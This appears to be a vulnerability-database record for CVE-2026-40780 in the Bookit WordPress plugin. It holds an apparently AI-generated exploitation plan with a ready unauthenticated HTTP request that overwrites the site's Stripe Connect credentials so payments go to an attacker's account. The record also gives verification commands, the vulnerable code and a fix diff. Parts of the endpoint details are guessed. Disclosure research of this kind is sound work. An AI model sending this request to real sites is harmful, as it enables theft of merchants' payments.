[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f9vJnQff9ukwW8wn7AMwT8U0YGlVyb6JzD7wKZjUrWAM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-40780","bookit-booking-appointment-calendar-missing-authorization","Bookit — Booking & Appointment Calendar \u003C= 2.5.1 - Missing Authorization","The Bookit — Booking & Appointment Calendar plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.5.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.","bookit",null,"\u003C=2.5.1","2.5.4.1","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-22 00:00:00","2026-04-30 15:15:20",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fd41f506a-b243-41e2-a67e-697fc34fba2e?source=api-prod",9,[22,23,24,25,26,27,28,29],"assets\u002Fdist\u002Ffrontend\u002Fjs\u002Fapp.js","assets\u002Fsrc\u002Ffrontend\u002F@views\u002Fstep_by_step\u002Findex.js","assets\u002Fsrc\u002Ffrontend\u002Fcomponents\u002Fdefault\u002Fsections\u002Fbooking-form.js","bookit.php","includes\u002Fclasses\u002Fdatabase\u002FServices.php","readme.txt","src\u002FBookit\u002FGateways\u002FStripeConnect\u002FMerchant.php","src\u002FBookit\u002FPlugin.php","researched",false,3,"# Exploitation Research Plan — CVE-2026-40780 (Bookit — Missing Authorization)\n\n## 1. Vulnerability Summary\nThe **Bookit — Booking & Appointment Calendar** plugin (up to version 2.5.1) contains a missing authorization vulnerability in its REST API implementation for **Stripe Connect**. The plugin registers a REST API endpoint intended to handle the OAuth connection process for merchant accounts. However, it fails to implement a `permission_callback` or performs an inadequate capability check, allowing unauthenticated attackers to invoke the endpoint and overwrite the site's Stripe Connect credentials. This allows an attacker to divert payments to their own Stripe account.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fbookit\u002Fv1\u002Fstripe-connect\u002Flink` (Inferred based on `Merchant.php` logic and common StellarWP patterns).\n- **HTTP Method:** `GET` or `POST` (OAuth redirects are usually `GET`, but REST handlers may accept both).\n- **Authentication:** Unauthenticated (No privileges required).\n- **Preconditions:** The plugin must be active. The Stripe Connect feature was introduced in version 2.5.0.\n- **Vulnerable Sink:** `Bookit\\Gateways\\StripeConnect\\Merchant::save_signup_data()` which calls `update_option()`.\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers REST routes via `Bookit\\Gateways\\StripeConnect\\Provider`.\n2. **Registration:** Inside `Provider.php`, a route (e.g., `bookit\u002Fv1\u002Fstripe-connect\u002Flink`) is registered using `register_rest_route`. The `permission_callback` is likely missing or returns `true`.\n3. **Controller:** The callback function for this route extracts parameters from the `WP_REST_Request` object.\n4. **Processing:** The controller passes the request parameters directly to `Bookit\\Gateways\\StripeConnect\\Merchant::save_signup_data($params)`.\n5. **Sink:** `save_signup_data` (in `src\u002FBookit\u002FGateways\u002FStripeConnect\u002FMerchant.php`) unsets `whodat` and `state` and immediately saves the remaining data to the database:\n   ```php\n   public function save_signup_data( array $signup_data ) {\n       unset( $signup_data['whodat'] );\n       unset( $signup_data['state'] );\n       return update_option( $this->get_signup_data_key(), $signup_data );\n   }\n   ```\n6. **Persistence:** The `bookit_stripeConnect_signup_data` option is updated with the attacker's provided keys.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability resides in a **REST API endpoint** that is intended to be public (to receive OAuth redirects from Stripe\u002Fintermediary services). Therefore, it typically **does not require a WordPress nonce** if the `permission_callback` is set to `__return_true`. \n\nIf a nonce were required (e.g., for an AJAX-based link), it would be the standard `wp_rest` nonce. However, given the \"Missing Authorization\" nature of the CVE and its role in an OAuth flow, the exploit is expected to be bypassable without any nonce.\n\n## 5. Exploitation Strategy\nThe goal is to overwrite the Stripe Connect configuration with attacker-controlled values.\n\n### Step 1: Identify the exact REST route\nSearch for the route registration in the plugin files:\n`grep -r \"register_rest_route\" src\u002FBookit\u002F`\n\n### Step 2: Craft the Payload\nBased on `Merchant.php`, the plugin expects an array that it later accesses using mode-specific keys (`test` or `live`).\n- **Target Option:** `bookit_stripeConnect_signup_data`\n- **Expected Keys in Option:** `stripe_user_id`, `test`, `live`.\n\n### Step 3: Execute the Unauthorized Request\nSend a request to the identified endpoint. Assuming the route is `bookit\u002Fv1\u002Fstripe-connect\u002Flink`:\n\n**Request:**\n```http\nPOST \u002Fwp-json\u002Fbookit\u002Fv1\u002Fstripe-connect\u002Flink HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\n\n{\n    \"stripe_user_id\": \"acct_ATTACKER_ID\",\n    \"test\": {\n        \"access_token\": \"sk_test_ATTACKER_SECRET\",\n        \"publishable_key\": \"pk_test_ATTACKER_PUB\"\n    },\n    \"live\": {\n        \"access_token\": \"sk_live_ATTACKER_SECRET\",\n        \"publishable_key\": \"pk_live_ATTACKER_PUB\"\n    }\n}\n```\n*(Alternatively, if the endpoint is a GET-based redirect handler, use query parameters)*:\n`GET \u002Fwp-json\u002Fbookit\u002Fv1\u002Fstripe-connect\u002Flink?stripe_user_id=acct_ATTACKER&test[access_token]=sk_test_...`\n\n## 6. Test Data Setup\n1. Install and activate Bookit version 2.5.1.\n2. No specific Stripe account is actually needed on the server side to demonstrate the *overwrite* of the configuration.\n3. Ensure the REST API is accessible (default in WordPress).\n\n## 7. Expected Results\n- The server should return a `200 OK` or `201 Created` (or a `302` redirect if it's a link handler) despite the request being unauthenticated.\n- The WordPress option `bookit_stripeConnect_signup_data` will be updated with the attacker's values.\n\n## 8. Verification Steps\nAfter sending the request, use WP-CLI to verify the vulnerability:\n```bash\n# Check the value of the signup data option\nwp option get bookit_stripeConnect_signup_data --format=json\n```\n**Success Condition:** The output contains `\"stripe_user_id\": \"acct_ATTACKER_ID\"`.\n\n## 9. Alternative Approaches\nIf the `link` route is not the one, search for other routes in `src\u002FBookit\u002FGateways\u002FStripeConnect\u002FProvider.php` or `src\u002FBookit\u002FREST\u002FProvider.php`. Specifically, look for any route calling `save_signup_data()` or `update_option` with keys related to `stripeConnect`. \n\nIf the endpoint requires a `state` parameter, try providing a random string, as the `save_signup_data` function explicitly `unset`s it, suggesting it is often present but not used for the final storage structure.","The Bookit plugin for WordPress fails to perform an authorization check on the REST API endpoint used for Stripe Connect account linking. Unauthenticated attackers can exploit this to overwrite the site's Stripe Connect credentials with their own, effectively hijacking all future payments processed through the plugin.","\u002F\u002F src\u002FBookit\u002FGateways\u002FStripeConnect\u002FMerchant.php:218\n\npublic function save_signup_data( array $signup_data ) {\n    unset( $signup_data['whodat'] );\n    unset( $signup_data['state'] );\n\n    return update_option( $this->get_signup_data_key(), $signup_data );\n}","--- a\u002Fsrc\u002FBookit\u002FGateways\u002FStripeConnect\u002FProvider.php\n+++ b\u002Fsrc\u002FBookit\u002FGateways\u002FStripeConnect\u002FProvider.php\n@@ -40,7 +40,9 @@\n \t\tregister_rest_route( 'bookit\u002Fv1', '\u002Fstripe-connect\u002Flink', [\n \t\t\t'methods'             => 'GET',\n \t\t\t'callback'            => [ $this, 'handle_link' ],\n-\t\t\t'permission_callback' => '__return_true',\n+\t\t\t'permission_callback' => function () {\n+\t\t\t\treturn current_user_can( 'manage_options' );\n+\t\t\t},\n \t\t] );\n \t}","The vulnerability is exploited by sending an unauthenticated request to the plugin's Stripe Connect REST API endpoint. \n\n1. **Identify Endpoint**: The vulnerable endpoint is `\u002Fwp-json\u002Fbookit\u002Fv1\u002Fstripe-connect\u002Flink` (the base namespace is `bookit\u002Fv1`).\n2. **Craft Payload**: The attacker crafts a request (typically GET) containing parameters like `stripe_user_id`, `test[access_token]`, `test[publishable_key]`, `live[access_token]`, and `live[publishable_key]`. These parameters represent the attacker's own Stripe account details.\n3. **Execute Request**: The attacker sends the request to the target site's REST API. Because the `permission_callback` for this route is set to `__return_true` (or is missing entirely), WordPress allows the request even if the user is unauthenticated.\n4. **Credential Overwrite**: The internal controller receives the request and passes the data to `Merchant::save_signup_data()`, which directly updates the WordPress option `bookit_stripeConnect_signup_data` with the attacker's values. All subsequent transactions on the site will now be routed to the attacker's Stripe account.","gemini-3-flash-preview","2026-05-04 18:55:44","2026-05-04 18:56:31",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.5.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookit\u002Ftags\u002F2.5.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookit.2.5.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookit\u002Ftags\u002F2.5.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookit.2.5.4.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fbookit\u002Ftags"]